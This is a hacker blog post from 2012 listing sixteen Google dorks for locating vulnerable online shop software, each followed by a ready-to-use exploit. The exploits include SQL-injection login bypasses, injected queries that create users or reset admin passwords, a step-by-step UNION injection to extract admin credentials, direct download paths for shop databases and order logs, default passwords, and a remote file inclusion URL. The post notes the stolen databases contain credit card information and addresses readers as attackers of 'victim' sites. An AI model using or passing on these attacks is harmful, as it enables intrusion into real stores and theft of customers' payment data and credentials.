XL3GION
HACKERS

← #Dark-Jumper v5.8 : SQLi, LFi RFi Scanner

#RFI Dork's →

#Big List Of Google Dorks Hacking.

SEP 5 Posted by xspyir

Most of these are outdated but they can still work if you happen to find a vulnerable site:

1:

google dork :-> inurl:"/cart.php?m="
target looks lile :-> http://xxxxxxx.com/s...cart.php?m=view
exploit: chage cart.php?m=view to /admin
target whit exploit :-> http://xxxxxx.com/store/admin
Usename : 'or"="
Password : 'or"="

2-

google dork :-> allinurlroddetail.asp?prod=
target looks like :-> http://www.xxxxx.org/proddetail.asp?prod=XXXX (big leters and numbers)

BLOG VISITORS !

- 50,447 visitors

FOLLOW BLOG VIA EMAIL

Enter your email address to follow this blog and receive notifications of new posts by email.

Join 31 other followers

Enter your email address

Follow

GO

RECENT POSTS

exploit :-> chage the proddtail.asp?prod=SG369 whit fpdb/vsproducts.mdb
target whit exploit :-> http://www.xxxxxx.org/fpdb/vsproducts.mdb

3-

google dork :-> allinurl: /cgi-local/shopper.cgi
target looks like :-> http://www.xxxxxx.co&#8230;.dd=action&key=
exploit :-> …&template=order.log
target whit exploit :-> http://www.xxxxxxxx&#8230;..late=order.log

4-

google dork :-> allinurl: Lobby.asp
target looks like :-> http://www.xxxxx.com/mall/lobby.asp
exploit :-> change /mall/lobby.asp to /fpdb/shop.mdb
target whit exploit :-> http://www.xxxxx.com/fpdb/shop.mdb

5-

google dork :-> allinurl:/vpasp/shopsearch.asp
when u find a target put this in search box
Keyword=&category=5); insert into tbluser (fldusername) values
(”)-&SubCategory=&amp;hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword=” where
fldusername=”-&SubCategory=All&amp;action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess=’1′ where
fldusername=”-&SubCategory=All&action.x=33&action.y=6
Jangan lupa untuk mengganti dan nya terserah kamu.
Untuk mengganti password admin, masukkan keyword berikut :
Keyword=&amp;category=5); update tbluser set fldpassword=” where
fldusername=’admin’-&SubCategory=All&action.x=33&action.y=6

login page: http://xxxxxxx/vpasp/shopadmin.asp

6-

- Twitter Page
- Hulk DDOSer (Updated)
- Reverse Engineering camera firmware ip
- [PHP] Download config File Killer and Mannu Shell (updated Version) Coded By Team Indishell
- 3 Reasons Not to Use Free URL Shorteners (protect your shorturls)

ARCHIVES

- April 2013
- March 2013
- February 2013
- January 2013
- December 2012
- November 2012
- October 2012
- September 2012
- August 2012

CATEGORIES

- Dork's
- Exploits & Vulnerabilities
- Hacking
- News
- Programs & Softwares
- Protect Yourself
- Releases
- Stay Anonymous
- Tutorials
- Uncategorized

google dork :-> allinurl:/vpasp/shopdisplayproducts.asp
target looks like :-> http://xxxxxxx.com/v&#8230;.asp?cat=xxxxxx
exploit :-> http://xxxxxxx.com/vpasp/shopdisplay…20union%20sele
ct%20fldauto,fldpassword%20from%20tbluser%20where%
20fldusername='admin'%20and%20fldpassword%20like%2 0'a%25'-
if this is not working try this ends
%20'a%25'-
%20'b%25'-
%20'c%25'-
after finding user and pass go to login page:
http://xxxx.com/vpasp/shopadmin.asp

7-

google dork :-> allinurl:/shopadmin.asp
target looks like :-> http://www.xxxxxx.com/shopadmin.asp
exploit:
user : 'or'1
pass : 'or'1

8-

google.com :-> allinurl:/store/index.cgi/page=
target looks like :-> http://www.xxxxxx.co&#8230;.short_blue.htm
exploit :-> ../admin/files/order.log
target whit exploit :-> http://www.xxxxxxx.c&#8230;.iles/order.log

9-

google.com:-> allinurl:/metacart/
target looks like :-> http://www.xxxxxx.com/metacart/about.asp
exploit :-> /database/metacart.mdb
target whit exploit :-> http://www.xxxxxx.com/metacart/database/metacart.mdb

META

- Register
- Log in
- Entries RSS
- Comments RSS
- WordPress.com

FOLLOW US ON TWITTER!

Error: Twitter did not respond. Please wait a few minutes and refresh this page.

LIKE US ON FACEBOOK !

10-

google.com:-> allinurl:/DCShop/
target looks like :-> http://www.xxxxxx.com/xxxx/DCShop/xxxx
exploit :-> /DCShop/orders/orders.txt or /DCShop/Orders/orders.txt
target whit exploit :-> http://www.xxxx.com/xxxx/DCShop/orders/orders.txt or
http://www.xxxx.com/xxxx/DCShop/Orders/orders.txt

11-

google.com:-> allinurl:/shop/category.asp/catid=
target looks like :-> http://www.xxxxx.com/shop/category.asp/catid=xxxxxx
exploit :-> /admin/dbsetup.asp
target whit exploit :-> http://www.xxxxxx.com/admin/dbsetup.asp
after geting that page look for dbname and path. (this is also good file sdatapdshoppro.mdb , access.mdb)
target for dl the data base :-> http://www.xxxxxx.com/data/pdshoppro.mdb (dosent need to be like this)
in db look for access to find pass and user of shop admins.

12-

google.com:-> allinurl:/commercesql/
target looks like :-> http://www.xxxxx.com/commercesql/xxxxx
exploit :-> cgi-bin/commercesql/index.cgi?page=
target whit exploit admin config :-> http://www.xxxxxx.co&#8230;./admin_conf.pl
target whit exploit admin manager :-> http://www.xxxxxx.co&#8230;.in/manager.cgi
target whit exploit order.log :-> http://www.xxxxx.com&#8230;.iles/order.log

13-

google.com:-> allinurl:/eshop/
target looks like :-> http://www.xxxxx.com/xxxxx/eshop
exploit :->/cg-bin/eshop/database/order.mdb

target whit exploit :-> http://www.xxxxxx.co&#8230;.base/order.mdb
after dl the db look at access for user and password

14-

1/search google: allinurl:"shopdisplayproducts.asp?id=
—>http://victim.com/shopdisplayproducts.asp?id=5

2/find error by adding '
—>http://victim.com/shopdisplayproducts.asp?id=5&#8242;

—>error: Microsoft JET database engine error "80040e14"…../shop$db.asp, line467

-If you don't see error then change id to cat

—>http://victim.com/shopdisplayproducts.asp?cat=5&#8242;

3/if this shop has error then add this: %20union%20select%201%20from%20tbluser"having%201=
1-sp_password

—>http://victim.com/shopdisplayproduct…on%20select%20 1%20from%20tbluser"having%201=1-
sp_password

—>error: 5' union select 1 from tbluser "having 1=1-sp_password…. The number of column in
the two selected tables or queries of a union queries do not match……

4/ add 2,3,4,5,6…….until you see a nice table

add 2
—->http://victim.com/shopdisplayproduct…on%20select%20
1,2%20from%20tbluser"having%201=1-sp_password
then 3
—->http://victim.com/shopdisplayproduct…on%20select%20
1,2,3%20from%20tbluser"having%201=1-sp_password
then 4 —->http://victim.com/shopdisplayproduct…on%20select%20
1,2,3,4%20from%20tbluser"having%201=1-sp_password

…5,6,7,8,9…. untill you see a table. (exp:…47)

—->http://victim.com/shopdisplayproduct…on%20select%20
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3
7,38,39,40,41,42,,43,44,45,46,47%20from%20tbluser” having%201=1-sp_password
—->see a table.
5/When you see a table, change 4 to fldusername and 22 to fldpassword you will have the admin username and password

—>http://victim.com/shopdisplayproduct…on%20%20elect%
201,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16
,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,3
0,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46, 47%20from%20tbluser%22having%201=1-
sp_password

6/Find link admin to login:
try this first: http://victim.com/shopadmin.asp
or: http://victim.com/shopadmin.asp
Didn’t work? then u have to find yourself:

add: (for the above example) ‘%20union%20select%201,2,3,fieldvalue,5,6,7,8,9,10
,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39
,40,41,42,43,44,45,46,47%20from%20configuration”ha ving%201=1-sp_password

—>http://victim.com/shopdisplayproduct…n%20select%201
,2,3,fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39
,40,41,42,43,44,45,46,47%20from%20configuration”ha ving%201=1-sp_password
you’ll see something like: (lot of them)

shopaddmoretocart.asp
shopcheckout.asp

shopdisplaycategories.asp
…………..

then guess admin link by adding the above data untill you find admin links

15-

Type: VP-ASP Shopping Cart
Version: 5.00
Dork = intitle:VP-ASP Shopping Cart 5.00
You will find many websites with VP-ASP 5.00 cart software installed
Now let’s get to the exploit..

the page will be like this ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is : diag_dbtest.asp
so do this:
****://***.victim.com/shop/diag_dbtest.asp

A page will appear with something like:

xDatabase
shopping140

xDblocation
resx

xdatabasetypexEmailxEmailNamexEmailSubjectxEmailSy stemxEmailTypexOrdernumber.:.
EXAMPLE .:.
the most important thing here is xDatabase
xDatabase: shopping140
ok now the URL will be like this:
****://***.victim.com/shop/shopping140.mdb
if you didn’t download the Database..
Try this while there is dblocation.

xDblocation
resx

the url will be:
****://***.victim.com/shop/resx/shopping140.mdb
If u see the error message you have to try this :
****://***.victim.com/shop/shopping500.mdb

download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com

inside you should be able to find credit card information.
and you should even be able to find the admin username and password for the website.

the admin login page is usually located here
****://***.victim.com/shop/shopadmin.asp

if you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all then try to find the admin login page and enter the default passwords which are

Username: admin
password: admin
OR
Username: vpasp
password: vpasp
16-

Sphider Version 1.2.x (include_dir) remote file inclusion

# Sphider Version 1.2.x (include_dir) remote file inclusion
# script Vendor: http://cs.ioc.ee/~ando/sphider/
# Discovered by: IbnuSina
found on index.php
$include_dir = "./include"; <— no patch here

```
$language_dir = "./languages";
include "$include_dir/index_header.inc";
include "$include_dir/conf.php";
include "$include_dir/connect.php";
```

exploitz : http://targe.lu/%5Bsphiderpath%5D/index.php?include_dir=injekan.lu

Share this:

Twitter Facebook

★ Like

Be the first to like this.

Related

Hack WordPress sites with this exploit
In "Exploits & Vulnerabilities"

#File Viewer - Remote file upload vulnerability
In "Hacking"

#DiyWeb Admin Bypass and Remote file/shell Upload exploit
In "Exploits & Vulnerabilities"

Posted on September 5, 2012, in Dork's. Bookmark the permalink. Leave a comment.

← #Dark-Jumper v5.8 : SQLi, LFi RFi Scanner

#RFI Dork's →

COMMENTS 0 LEAVE A COMMENT

Leave a Reply

Enter your comment here...